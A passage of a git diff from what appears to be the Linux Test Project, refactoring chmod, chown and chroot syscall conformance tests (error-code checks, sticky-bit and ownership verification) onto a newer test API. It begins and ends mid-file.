- *  chmod() should return value 0 on success and succeeds to set sticky bit
- *  on the specified directory.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *   	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *   	Verify the Functionality of system call
- *      if successful,
- *      	Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  chmod04 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS:
- *  This test should be run by 'non-super-user' only.
- *
- */
-
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <pwd.h>
-
-#include "test.h"
-#include "safe_macros.h"
-
-#define DIR_MODE 	S_IRWXU | S_IRWXG | S_IRWXO
-#define PERMS		01777	/*
-				 * Mode permissions of test directory with
-				 * sticky bit set.
-				 */
-#define TESTDIR		"testdir_4"
-
-char *TCID = "chmod04";
-int TST_TOTAL = 1;
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-void setup();
-void cleanup();
-
-int main(int ac, char **av)
-{
-	struct stat stat_buf;	/* stat struct. */
-	int lc;
-	mode_t dir_mode;	/* mode permissions set on testdirectory */
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Call chmod(2) with mode argument to
-		 * set sticky bit on TESTDIR
-		 */
-		TEST(chmod(TESTDIR, PERMS));
-
-		if (TEST_RETURN == -1) {
-			tst_resm(TFAIL | TTERRNO, "chmod(%s, %#o) failed",
-				 TESTDIR, PERMS);
-			continue;
-		}
-
-		/*
-		 * Get the file information using
-		 * stat(2).
-		 */
-		if (stat(TESTDIR, &stat_buf) < 0) {
-			tst_brkm(TFAIL, cleanup,
-				 "stat(2) of %s failed, errno:%d",
-				 TESTDIR, TEST_ERRNO);
-		}
-		dir_mode = stat_buf.st_mode;
-
-		/* Verify STICKY BIT SET on directory */
-		if ((dir_mode & PERMS) == PERMS) {
-			tst_resm(TPASS, "Functionality of "
-				 "chmod(%s, %#o) successful",
-				 TESTDIR, PERMS);
-		} else {
-			tst_resm(TFAIL, "%s: Incorrect modes 0%03o, "
-				 "Expected 0%03o",
-				 TESTDIR, dir_mode, PERMS);
-		}
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *  Create a temporary directory and cd to it.
- *  Create another test directory under temporary directory.
- */
-void setup(void)
-{
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	tst_require_root();
-	ltpuser = getpwnam(nobody_uid);
-	if (setuid(ltpuser->pw_uid) == -1)
-		tst_resm(TINFO | TERRNO, "setuid(%u) failed", ltpuser->pw_uid);
-
-	TEST_PAUSE;
-
-	tst_tmpdir();
-
-	/*
-	 * Create a test directory under temporary directory with specified
-	 * mode permissios.
-	 */
-	SAFE_MKDIR(cleanup, TESTDIR, DIR_MODE);
-}
-
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- *  Remove the test directory and temporary directory created in setup().
- */
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/chmod/chmod05.c b/testcases/kernel/syscalls/chmod/chmod05.c
index 6a6a0ae..f5b9d51 100644
--- a/testcases/kernel/syscalls/chmod/chmod05.c
+++ b/testcases/kernel/syscalls/chmod/chmod05.c
@@ -37,6 +37,7 @@
 #include <pwd.h>
 
 #include "tst_test.h"
+#include "tst_uid.h"
 
 #define MODE_RWX	(mode_t)(S_IRWXU | S_IRWXG | S_IRWXO)
 #define DIR_MODE	(mode_t)(S_ISVTX | S_ISGID | S_IFDIR)
@@ -69,10 +70,10 @@
 static void setup(void)
 {
 	struct passwd *nobody_u;
-	struct group *bin_gr;
+	gid_t free_gid;
 
 	nobody_u = SAFE_GETPWNAM("nobody");
-	bin_gr = SAFE_GETGRNAM("bin");
+	free_gid = tst_get_free_gid(nobody_u->pw_gid);
 
 	/*
 	 * Create a test directory under temporary directory with specified
@@ -83,7 +84,7 @@
 	if (setgroups(1, &nobody_u->pw_gid) == -1)
 		tst_brk(TBROK | TERRNO, "setgroups to nobody's gid failed");
 
-	SAFE_CHOWN(TESTDIR, nobody_u->pw_uid, bin_gr->gr_gid);
+	SAFE_CHOWN(TESTDIR, nobody_u->pw_uid, free_gid);
 
 	/* change to nobody:nobody */
 	SAFE_SETEGID(nobody_u->pw_gid);
diff --git a/testcases/kernel/syscalls/chown/chown01.c b/testcases/kernel/syscalls/chown/chown01.c
index 767a2ad..7fbb116 100644
--- a/testcases/kernel/syscalls/chown/chown01.c
+++ b/testcases/kernel/syscalls/chown/chown01.c
@@ -3,6 +3,7 @@
  * Copyright (c) 2000 Silicon Graphics, Inc.  All Rights Reserved.
  * AUTHOR: William Roske
  * CO-PILOT: Dave Fenner
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
 /*\
@@ -11,13 +12,6 @@
  * Basic test for chown(). Calls chown() on a file and expects it to pass.
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-
 #include "tst_test.h"
 #include "compat_tst_16.h"
 
diff --git a/testcases/kernel/syscalls/chown/chown02.c b/testcases/kernel/syscalls/chown/chown02.c
index a92a1fd..7c96832 100644
--- a/testcases/kernel/syscalls/chown/chown02.c
+++ b/testcases/kernel/syscalls/chown/chown02.c
@@ -2,6 +2,7 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
 /*\
@@ -12,11 +13,6 @@
  *  - preserves setgid bit set on a non-group-executable file
  */
 
-#include <stdio.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-
 #include "tst_test.h"
 #include "compat_tst_16.h"
 #include "tst_safe_macros.h"
@@ -46,7 +42,8 @@
 
 	SAFE_CHMOD(tc[i].filename, tc[i].set_mode);
 
-	TST_EXP_PASS(CHOWN(tc[i].filename, uid, gid));
+	TST_EXP_PASS(CHOWN(tc[i].filename, uid, gid), "chown(%s, %d, %d)",
+		     tc[i].filename, uid, gid);
 
 	struct stat stat_buf;
 	SAFE_STAT(tc[i].filename, &stat_buf);
diff --git a/testcases/kernel/syscalls/chown/chown03.c b/testcases/kernel/syscalls/chown/chown03.c
index ff6e904..b4ca3af 100644
--- a/testcases/kernel/syscalls/chown/chown03.c
+++ b/testcases/kernel/syscalls/chown/chown03.c
@@ -17,15 +17,6 @@
  * Also verify that chown() clears the setuid/setgid bits set on the file.
  */
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <grp.h>
 #include <pwd.h>
 
 #include "tst_test.h"
diff --git a/testcases/kernel/syscalls/chown/chown04.c b/testcases/kernel/syscalls/chown/chown04.c
index 1f3ed41..4e91885 100644
--- a/testcases/kernel/syscalls/chown/chown04.c
+++ b/testcases/kernel/syscalls/chown/chown04.c
@@ -1,195 +1,107 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *  07/2001 Ported by Wayne Boyer
+ * 07/2001 Ported by Wayne Boyer
  * Copyright (c) 2014 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
- *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
-/*
- * Test Name: chown04
+/*\
+ * [Description]
  *
- * Test Description:
- *   Verify that,
- *   1) chown(2) returns -1 and sets errno to EPERM if the effective user id
- *		 of process does not match the owner of the file and the process
- *		 is not super user.
- *   2) chown(2) returns -1 and sets errno to EACCES if search permission is
- *		 denied on a component of the path prefix.
- *   3) chown(2) returns -1 and sets errno to EFAULT if pathname points
- *		 outside user's accessible address space.
- *   4) chown(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
- *		 component is too long.
- *   5) chown(2) returns -1 and sets errno to ENOTDIR if the directory
- *		 component in pathname is not a directory.
- *   6) chown(2) returns -1 and sets errno to ENOENT if the specified file
- *		 does not exists.
+ * Verify that:
+ *
+ * 1. Chown() returns -1 and sets errno to EPERM if the effective user id
+ *    of process does not match the owner of the file and the process is not
+ *    super user.
+ * 2. Chown() returns -1 and sets errno to EACCES if search permission is
+ *    denied on a component of the path prefix.
+ * 3. Chown() returns -1 and sets errno to EFAULT if pathname points outside
+ *    user's accessible address space.
+ * 4. Chown() returns -1 and sets errno to ENAMETOOLONG if the pathname
+ *    component is too long.
+ * 5. Chown() returns -1 and sets errno to ENOENT if the specified file does
+ *    not exists.
+ * 6. Chown() returns -1 and sets errno to ENOTDIR if the directory component
+ *    in pathname is not a directory.
+ * 7. Chown() returns -1 and sets errno to ELOOP if too many symbolic links
+ *    were encountered in resolving pathname.
+ * 8. Chown() returns -1 and sets errno to EROFS if the named file resides on
+ *    a read-only filesystem.
  */
 
-#include <stdio.h>
-#include <stdlib.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <string.h>
-#include <signal.h>
-#include <grp.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <sys/mount.h>
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#include "tst_test.h"
+#include "compat_tst_16.h"
+#include "tst_safe_macros.h"
 
-#define MODE_RWX		 (S_IRWXU|S_IRWXG|S_IRWXO)
-#define FILE_MODE		 (S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
-#define DIR_MODE		 (S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP| \
-				 S_IXGRP|S_IROTH|S_IXOTH)
-#define DIR_TEMP		 "testdir_1"
-#define TEST_FILE1		 "tfile_1"
-#define TEST_FILE2		 (DIR_TEMP "/tfile_2")
-#define TEST_FILE3		 "t_file/tfile_3"
-#define TEST_FILE4		 "test_eloop1"
-#define TEST_FILE5		 "mntpoint"
+#define MODE 0666
+#define MODE_RWX	(S_IRWXU|S_IRWXG|S_IRWXO)
+#define FILE_MODE	(S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH)
+#define DIR_MODE	(S_IRUSR|S_IWUSR|S_IXUSR|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH)
 
-static char long_path[PATH_MAX + 2];
-static const char *device;
-static int mount_flag;
+#define MNT_POINT	"mntpoint"
+#define DIR_TEMP	"testdir_1"
+#define TEST_FILE1	"tfile_1"
+#define TEST_FILE2	"testdir_1/tfile_2"
+#define TEST_FILE3	"t_file/tfile_3"
+#define TEST_FILE4	"test_eloop1"
+#define TEST_FILE5	"mntpoint"
+
+static char long_path[PATH_MAX + 2] = {[0 ... PATH_MAX + 1] = 'a'};
 
 static struct test_case_t {
 	char *pathname;
 	int exp_errno;
+	char *desc;
 } tc[] = {
-	{TEST_FILE1, EPERM},
-	{TEST_FILE2, EACCES},
-	{(char *)-1, EFAULT},
-	{long_path, ENAMETOOLONG},
-	{"", ENOENT},
-	{TEST_FILE3, ENOTDIR},
-	{TEST_FILE4, ELOOP},
-	{TEST_FILE5, EROFS}
+	{TEST_FILE1, EPERM, "without permissions"},
+	{TEST_FILE2, EACCES, "without full permissions of the path prefix"},
+	{(char *)-1, EFAULT, "with unaccessible pathname points"},
+	{long_path, ENAMETOOLONG, "when pathname is too long"},
+	{"", ENOENT, "when file does not exist"},
+	{TEST_FILE3, ENOTDIR, "when the path prefix is not a directory"},
+	{TEST_FILE4, ELOOP, "with too many symbolic links"},
+	{TEST_FILE5, EROFS, "when the named file resides on a read-only filesystem"}
 };
 
-TCID_DEFINE(chown04);
-int TST_TOTAL = ARRAY_SIZE(tc);
-
-static char *bad_addr;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void run(unsigned int i)
 {
-	int lc;
-	int i;
-	uid_t user_id;
-	gid_t group_id;
+	uid_t uid;
+	gid_t gid;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	UID16_CHECK((uid = geteuid()), "chown");
+	GID16_CHECK((gid = getegid()), "chown");
 
-	setup();
-
-	UID16_CHECK((user_id = geteuid()), "chown", cleanup)
-	GID16_CHECK((group_id = getegid()), "chown", cleanup)
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(CHOWN(cleanup, tc[i].pathname, user_id, group_id));
-
-			if (TEST_RETURN == 0) {
-				tst_resm(TFAIL, "chown succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == tc[i].exp_errno) {
-				tst_resm(TPASS | TTERRNO, "chown failed");
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "chown failed; expected: %d - %s",
-					 tc[i].exp_errno,
-					 tst_strerrno(tc[i].exp_errno));
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FAIL(CHOWN(tc[i].pathname, uid, gid), tc[i].exp_errno,
+		     "chown() %s", tc[i].desc);
 }
 
 static void setup(void)
 {
 	struct passwd *ltpuser;
-	const char *fs_type;
 
-	tst_require_root();
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	ltpuser = SAFE_GETPWNAM(NULL, "nobody");
+	tc[2].pathname = tst_get_bad_addr(NULL);
 
-	tst_tmpdir();
+	SAFE_SYMLINK("test_eloop1", "test_eloop2");
+	SAFE_SYMLINK("test_eloop2", "test_eloop1");
 
-	fs_type = tst_dev_fs_type();
-	device = tst_acquire_device(cleanup);
-	if (!device)
-		tst_brkm(TCONF, cleanup, "Failed to obtain block device");
+	SAFE_SETEUID(0);
+	SAFE_TOUCH("t_file", MODE_RWX, NULL);
+	SAFE_TOUCH(TEST_FILE1, MODE, NULL);
+	SAFE_MKDIR(DIR_TEMP, S_IRWXU);
+	SAFE_TOUCH(TEST_FILE2, MODE, NULL);
 
-	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
-
-	TEST_PAUSE;
-
-	memset(long_path, 'a', PATH_MAX - 1);
-
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK | TERRNO, cleanup, "mmap failed");
-
-	tc[2].pathname = bad_addr;
-
-	SAFE_SYMLINK(cleanup, "test_eloop1", "test_eloop2");
-	SAFE_SYMLINK(cleanup, "test_eloop2", "test_eloop1");
-
-	SAFE_SETEUID(cleanup, 0);
-	SAFE_TOUCH(cleanup, "t_file", MODE_RWX, NULL);
-	SAFE_TOUCH(cleanup, TEST_FILE1, 0666, NULL);
-	SAFE_MKDIR(cleanup, DIR_TEMP, S_IRWXU);
-	SAFE_TOUCH(cleanup, TEST_FILE2, 0666, NULL);
-
-	SAFE_MKDIR(cleanup, "mntpoint", DIR_MODE);
-	SAFE_MOUNT(cleanup, device, "mntpoint", fs_type, MS_RDONLY, NULL);
-	mount_flag = 1;
-
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
 }
 
-void cleanup(void)
-{
-	if (seteuid(0) == -1)
-		tst_resm(TWARN | TERRNO, "seteuid(0) failed");
-
-	if (mount_flag && tst_umount("mntpoint") < 0) {
-		tst_brkm(TBROK | TERRNO, NULL,
-			 "umount device:%s failed", device);
-	}
-
-	if (device)
-		tst_release_device(device);
-
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_rofs = 1,
+	.mntpoint = MNT_POINT,
+	.tcnt = ARRAY_SIZE(tc),
+	.test = run,
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/chown/chown05.c b/testcases/kernel/syscalls/chown/chown05.c
index ebb9e9b..44abdc7 100644
--- a/testcases/kernel/syscalls/chown/chown05.c
+++ b/testcases/kernel/syscalls/chown/chown05.c
@@ -2,6 +2,7 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
  * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) 2021 Xie Ziyao <xieziyao@huawei.com>
  */
 
 /*\
@@ -20,24 +21,31 @@
 #define TESTFILE "testfile"
 
 struct test_case_t {
+	char *desc;
 	uid_t uid;
 	gid_t gid;
 } tc[] = {
-	{700, 701},
-	{702, 701},
-	{702, 703},
-	{704, 705}
+	{"change owner/group ids", 700, 701},
+	{"change owner id only", 702, -1},
+	{"change owner id only", 703, 701},
+	{"change group id only", -1, 704},
+	{"change group id only", 703, 705},
+	{"no change", -1, -1}
 };
 
 static void run(unsigned int i)
 {
 	struct stat stat_buf;
-	TST_EXP_PASS(CHOWN(TESTFILE, tc[i].uid, tc[i].gid));
+	uid_t expect_uid = tc[i].uid == (uid_t)-1 ? tc[i - 1].uid : tc[i].uid;
+	gid_t expect_gid = tc[i].gid == (uid_t)-1 ? tc[i - 1].gid : tc[i].gid;
+
+	TST_EXP_PASS(CHOWN(TESTFILE, tc[i].uid, tc[i].gid), "chown(%s, %d, %d), %s",
+		     TESTFILE, tc[i].uid, tc[i].gid, tc[i].desc);
 
 	SAFE_STAT(TESTFILE, &stat_buf);
-	if (stat_buf.st_uid != tc[i].uid || stat_buf.st_gid != tc[i].gid) {
+	if (stat_buf.st_uid != expect_uid || stat_buf.st_gid != expect_gid) {
 		tst_res(TFAIL, "%s: incorrect ownership set, expected %d %d",
-			TESTFILE, tc[i].uid, tc[i].gid);
+			TESTFILE, expect_uid, expect_gid);
 	}
 }
 
diff --git a/testcases/kernel/syscalls/chroot/chroot01.c b/testcases/kernel/syscalls/chroot/chroot01.c
index a1db5e1..febf064 100644
--- a/testcases/kernel/syscalls/chroot/chroot01.c
+++ b/testcases/kernel/syscalls/chroot/chroot01.c
@@ -1,116 +1,46 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
  */
 
-/*
- * NAME
- * 	chroot01.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Testcase to check the whether chroot sets errno to EPERM.
+ * Testcase to check the whether chroot sets errno to EPERM.
  *
- * ALGORITHM
- *	As a non-root user attempt to perform chroot() to a directory. The
- *	chroot() call should fail with EPERM
- *
- * USAGE:  <for command-line>
- *  chroot01 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- * RESTRICTIONS
- * 	Must be run as non-root user.
+ * As a non-root user attempt to perform chroot() to a directory. The
+ * chroot() call should fail with EPERM
  */
 
-#include <stdio.h>
-#include <errno.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdlib.h>
 #include <pwd.h>
+#include "tst_test.h"
 
-char *TCID = "chroot01";
-int TST_TOTAL = 1;
-int fail;
+static char *path;
 
-char *path;
-
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_chroot(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		TEST(chroot(path));
-
-		if (TEST_RETURN != -1)
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-		else if (errno != EPERM)
-			tst_resm(TFAIL | TTERRNO, "chroot failed unexpectedly");
-		else
-			tst_resm(TPASS, "chroot set errno to EPERM.");
-	}
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_FAIL(chroot(path), EPERM, "unprivileged chroot()");
 }
 
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
+	struct passwd *ltpuser;
 
-	tst_tmpdir();
 	path = tst_get_tmpdir();
-
-	if ((ltpuser = getpwnam(nobody_uid)) == NULL)
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "getpwnam(\"nobody\") failed");
-
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
 }
 
-void cleanup(void)
+static void cleanup(void)
 {
-	SAFE_SETEUID(NULL, 0);
-
 	free(path);
-	tst_rmdir();
 }
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = verify_chroot,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/chroot/chroot02.c b/testcases/kernel/syscalls/chroot/chroot02.c
index e483ca4..ad33abd 100644
--- a/testcases/kernel/syscalls/chroot/chroot02.c
+++ b/testcases/kernel/syscalls/chroot/chroot02.c
@@ -1,148 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
  *   Copyright (c) International Business Machines  Corp., 2001
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *   07/2001 Ported by Wayne Boyer
+ *	 04/2003 Modified by Manoj Iyer - manjo@mail.utexas.edu
  */
 
-/*
- * NAME
- *	chroot02.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *	Test functionality of chroot(2)
+ * Basic chroot() functionality test.
  *
- * ALGORITHM
- *	Change root directory and then stat a file.
- *
- * USAGE:  <for command-line>
- *  chroot02 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *	04/2003 Modified by Manoj Iyer - manjo@mail.utexas.edu
- *	Change testcase to chroot into a temporary directory
- *	and stat() a known file.
- *
- * RESTRICTIONS
- *	NONE
+ * - Create a file in the temporary directory
+ * - Change the root to this temporary directory
+ * - Check whether this file can be accessed in the new root directory
  */
 
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <errno.h>
-#include "test.h"
-#include <fcntl.h>
-
-char *TCID = "chroot02";
-int TST_TOTAL = 1;
-int fileHandle = 0;
+#include <stdlib.h>
+#include "tst_test.h"
 
 #define TMP_FILENAME	"chroot02_testfile"
-struct stat buf;
+static char *path;
 
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_chroot(void)
 {
-	int lc;
-	int pid, status, retval;
+	struct stat buf;
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (!SAFE_FORK()) {
+		TST_EXP_PASS(chroot(path), "chroot(%s)", path);
+		if (!TST_PASS)
+			return;
 
-	setup();
-
-	/* Check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		if ((pid = FORK_OR_VFORK()) == -1) {
-			tst_brkm(TBROK, cleanup, "Could not fork");
-		}
-
-		if (pid == 0) {
-			retval = 0;
-
-			if (chroot(tst_get_tmpdir()) == -1) {
-				perror("chroot failed");
-				retval = 1;
-			} else {
-				if (stat("/" TMP_FILENAME, &buf) == -1) {
-					retval = 1;
-					perror("stat failed");
-				}
-			}
-
-			exit(retval);
-		}
-
-		/* parent */
-		wait(&status);
-		/* make sure the child returned a good exit status */
-		if (WIFSIGNALED(status) ||
-		    (WIFEXITED(status) && WEXITSTATUS(status) != 0))
-			tst_resm(TFAIL, "chroot functionality incorrect");
-		else
-			tst_resm(TPASS, "chroot functionality correct");
+		TST_EXP_PASS(stat("/" TMP_FILENAME, &buf), "stat(/%s)", TMP_FILENAME);
 	}
-
-	cleanup();
-	tst_exit();
-
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-	tst_require_root();
-
-	tst_tmpdir();
-	if ((fileHandle = creat(TMP_FILENAME, 0777)) == -1)
-		tst_brkm(TBROK, cleanup, "failed to create temporary file "
-			 TMP_FILENAME);
-	if (stat(TMP_FILENAME, &buf) != 0)
-		tst_brkm(TBROK, cleanup, TMP_FILENAME " does not exist");
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	path = tst_get_tmpdir();
+	SAFE_TOUCH(TMP_FILENAME, 0666, NULL);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *	       completion or premature exit.
- */
-void cleanup(void)
+static void cleanup(void)
 {
-	/*
-	 * print timing stats if that option was specified.
-	 * print errno log if that option was specified.
-	 */
-	close(fileHandle);
-
-	tst_rmdir();
-
+	free(path);
 }
+
+static struct tst_test test = {
+	.cleanup = cleanup,
+	.setup = setup,
+	.test_all = verify_chroot,
+	.needs_root = 1,
+	.forks_child = 1,
+	.needs_tmpdir = 1,
+};
+
diff --git a/testcases/kernel/syscalls/chroot/chroot03.c b/testcases/kernel/syscalls/chroot/chroot03.c
index b904e4a..ba8c1e9 100644
--- a/testcases/kernel/syscalls/chroot/chroot03.c
+++ b/testcases/kernel/syscalls/chroot/chroot03.c
@@ -1,168 +1,73 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
  *   Copyright (c) International Business Machines  Corp., 2001
  *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ *	 07/2001 Ported by Wayne Boyer
  */
 
-/*
- *	Testcase to test whether chroot(2) sets errno correctly.
+/*\
+ * [Description]
  *
- *	1.	Test for ENAMETOOLONG:
- *		Create a bad directory name with length more than
- *		VFS_MAXNAMELEN (Linux kernel variable), and pass it as the
- *		path to chroot(2).
+ * Testcase to test whether chroot(2) sets errno correctly.
  *
- *	2.	Test for ENOENT:
- *		Attempt to chroot(2) on a non-existent directory
- *
- *	3.	Test for ENOTDIR:
- *		Attempt to chdir(2) on a file.
- *
- *	4.	Test for EFAULT:
- *		The pathname parameter to chroot() points to an invalid address,
- *		chroot(2) fails with EPERM.
- *
- *	5.	Test for ELOOP:
- *		Too many symbolic links were encountered When resolving the
- *		pathname parameter.
- *
- *	07/2001 Ported by Wayne Boyer
+ * - to test whether chroot() is setting ENAMETOOLONG if the
+ *   pathname is more than VFS_MAXNAMELEN.
+ * - to test whether chroot() is setting ENOTDIR if the argument
+ *   is not a directory.
+ * - to test whether chroot() is setting ENOENT if the directory
+ *   does not exist.
+ * - attempt to chroot to a path pointing to an invalid address
+ *   and expect EFAULT as errno.
+ * - to test whether chroot() is setting ELOOP if the two
+ *   symbolic directory who point to each other.
  */
 
 #include <stdio.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include "test.h"
